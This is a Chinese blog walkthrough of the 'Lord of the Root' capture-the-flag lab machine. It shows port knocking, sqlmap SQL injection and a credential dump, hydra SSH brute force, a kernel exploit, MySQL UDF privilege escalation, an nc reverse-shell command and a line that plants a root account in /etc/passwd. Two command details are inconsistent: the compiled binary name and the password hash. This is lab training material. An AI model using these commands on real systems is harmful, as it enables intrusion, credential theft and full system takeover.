【原創】專案六 Load Of The Root

黑羽heiyu發表於2023-01-30

實戰流程

新建立資料夾,在這個資料夾裡進行操作

image-20221219143057926

nmap掃描下網段

image-20221219143411515

根據nmap逐個排查,發現目標主機,但只有22埠

image-20221219144307482

因此進一步掃描22埠的具體資訊,沒有掃出很有用的資訊

image-20221219144608070

發現靶場又提示一個使用者,因此直接透過使用者名稱來ssh,發現需要敲擊三次埠(就是埠試探)

image-20221219145057518

埠試探是啥?

埠試探(port knocking)是一種透過連線嘗試,從外部開啟原先關閉埠的方法。一旦收到正確順序的連線嘗試,防火牆就會動態開啟一些特定的埠給允許嘗試連線的主機。

埠試探的主要目的是防治攻擊者透過埠掃描的方式對主機進行攻擊。埠試探類似於一次秘密握手協議,比如一種最基本的方式:傳送一定序列的UDP、TCP資料包。當執行在主機上的daemon程式捕捉到資料包以後,如果這個序列正確,則開啟相應的埠,或者防火牆允許客戶端透過。

由於對外的Linux伺服器透過限制IP地址的方式來控制訪問,因此可以利用這種埠試探方式來進行防火牆對於訪問IP地址的控制。

如何進行埠碰撞?

首先需要我們知道埠碰撞的序列,否則暴力碰撞開啟的機會太小。

1)第一種方法:knock 命令
linux安裝:sudo apt install knockd

使用:
knock <IP> <PORT1> <PORT2> <PORT3> <PORT4> -v
例如需要碰撞 172.16.1.1 的 3,4,7,8 埠:
knock 10.211.55.11 1 2 3 -v


2)hping3:TCP/IP資料包組裝/分析工具
hping3 -S [IP地址] -p 1 -c 1


hping3 -S 10.211.55.11 -p 1 -c 1
hping3 -S 10.211.55.11 -p 2 -c 1

hping3 -S 10.211.55.11 -p 3 -c 1

-S(--syn):SYN是TCP/IP建立連線時使用的握手訊號。在客戶機和伺服器之間建立正常的TCP網路連線時,客戶機首先發出一個SYN訊息,伺服器使用SYN-ACK應答表示接收到了這個訊息,最後客戶機再以ACK訊息響應。這樣在客戶機和伺服器之間才能建立起可靠的TCP連線,資料才可以在客戶機和伺服器之間傳遞。
-p --destport: 目的埠(預設為0),可同時指定多個埠
-c --count:指定資料包的次數

參考資料:https://blog.csdn.net/qq_30247635/article/details/86243448

梳理完畢,進行埠敲擊

image-20221219155518337

敲擊完成,然後全埠掃描,發現了個額外的埠1337開啟狀態

image-20221219160035660

訪問該連結和埠,發現是一張圖片,但沒有發現該圖片的有用資訊

image-20221219160938546

手動訪問robots.txt檔案,發現另外一張圖片

image-20221219161138438

檢視原始碼,發現base64

image-20221219161401910

hash-identifier識別一下該base64,發現無法識別

image-20221219161527849

再試試系統自帶的base64的解碼,發現解出來的是又是一段base64

image-20221219161710583

那就繼續解碼,爆出了一個目錄

image-20221219161911657

拼接連結,用目錄去訪問,發現出來個登入頁面!

image-20221219162003150

既然是登入框,那就先試試sql注入,使用sqlmap跑,發現一個盲注

sqlmap -u http://192.168.117.131:1337/978345210/index.php --forms

image-20221219162959534

然後進行注入,發現成功

image-20221219164542537

接下來報資料庫名,因為是一個個字元匹配,因此需要等一會

image-20221219164834362

接收爆破出來的庫名結果

image-20221219165238091

接下來試試能不能透過sqlmap直接拿shell,發現可行

sqlmap -u http://192.168.117.131:1337/978345210/index.php --forms --os-shell

image-20221219165527877

發現寫不進去,做了防護,只能繼續爆庫

image-20221219170102923

開始爆出表名Users

sqlmap -u http://192.168.117.131:1337/978345210/index.php --forms --dbs -D Webapp --tables

image-20221219170752109

繼續爆列名,需要等爆破後,獲取結果

sqlmap -u http://192.168.117.131:1337/978345210/index.php --forms --dbs -D Webapp --tables -T Users --columns

image-20221219171828016

接下來繼續獲取欄位值,透過爆破獲取賬號和密碼,並記錄到user.txt,passwd

sqlmap -u http://192.168.117.131:1337/978345210/index.php --forms --dbs -D Webapp --tables -T Users --columns -C id,password,username --dump

image-20221219174220529

user:
frodo
smeagol
aragorn
legolas
gimli

passwd:
iwilltakethering
MyPreciousR00t
AndMySword
AndMyBow
AndMyAxe

使用hydra進行埠爆破,發現賬號和密碼

hydra -L user.txt -P pass.txt 192.168.117.131 ssh

image-20221219175741801

接下來進行登陸

smeagol
MyPreciousR00t

image-20230113141826091

開啟http服務

image-20230113142830301

靶機獲取指令碼

image-20230113143021129

進行賦權並執行

image-20230113143238925

發現主機上的漏洞

image-20230113153622796

另外發現緩衝區溢位檔案

image-20230113162645575

尋找mysql,嘗試用mysql提權;

image-20230113180644293

EXP核心提權

lsb_release -a

image-20230113183649728

谷歌搜尋:Ubuntu 14.04 exploit

https://www.exploit-db.com/exploits/39166

searchsploit 39166

image-20230129164456734

cp /usr/share/exploitdb/exploits/linux/local/39166.c /root/Desktop/lordof/

開啟傳輸

python -m http.server 8081
wget http://10.211.55.19:8081/39166.c

image-20230129171805082

gcc 39166.c -o heiyu
chmod +x heiyu
./dayu
cd /root
cat Flag.txt:
“There is only one Lord of the Ring, only one who can bend it to his will. And he does not share power.”
– Gandalf

image-20230129172057353


10、Mysql UDF提權

UDF提權先檢視mysql版本!

dpkg -l | grep mysql   --檢視歷史安裝包版本
5.5.44

檢視mysql執行許可權是不是root!

ps aux | grep mysql   ---檢視mysql程式資訊

image-20230129175532205

在尋找mysql賬號密碼!

find / -name login.*

發現資訊:/var/www/978345210/login.php

image-20230129175916614

檢視檔案資訊

grep "root" -rn 978345210/login.php

image-20230129180343154

獲得mysql密碼:
darkshadow

登入mysql:

mysql -uroot -pdarkshadow

首先看一下是否滿足寫入條件:

show global variables like 'secure%';

是可以進行UDF提權的!

image-20230129180502377

檢視外掛目錄:
show variables like '%plugin%';
外掛目錄在:/usr/lib/mysql/plugin/

image-20230129180532441

檢視能否遠端登陸:

select user,host from user;

只能本地登入!

image-20230129180732012

MySQL中,BLOB是一個二進位制大型物件,是一個可以儲存大量資料的容器,它能容納不同大小的資料。BLOB型別實際是個型別系列(TinyBlob、Blob、MediumBlob、LongBlob),除了在儲存的最大資訊量上不同外,他們是等同的。

MySQL的四種BLOB型別:
型別 大小(單位:位元組)
TinyBlob 最大 255
Blob 最大 65K
MediumBlob 最大 16M
LongBlob 最大 4G

可以利用lib_mysqludf_sys提供的函式執行系統命令,lib_mysqludf_sys:
sys_eval,執行任意命令,並將輸出返回
sys_exec,執行任意命令,並將退出碼返回。
sys_get,獲取一個環境變數。
sys_set,建立或修改一個環境變數。

cp /usr/share/metasploit-framework/data/exploits/mysql/lib_mysqludf_sys_32.so .

mv lib_mysqludf_sys_32.so heiyu.so

完成udf提權

mysql -uroot -pdarkshadow
use mysql
create table heiyu(heiyu longblob);
insert into heiyu values (load_file('/tmp/heiyu.so'));
select * from heiyu into dumpfile '/usr/lib/mysql/plugin/heiyu.so';
create function sys_exec returns string soname 'heiyu.so';
select * from mysql.func;
select sys_exec('chmod u+s /usr/bin/find');

image-20230129182157131

find / -exec '/bin/sh' \;

提權成功

image-20230129182252281

擴充知識點(反彈shell):或者利用sys_exec、sys_eval

select sys_exec('nc -nv 10.211.55.19 6677 -e /bin/bash');

openssl passwd heiyu1
YpIR51FecR9AY
select sys_exec('echo "heiyu1:Ef8ipBmhp5pnE:0:0:root:/root:/bin/bash" >> /etc/passwd');

相關文章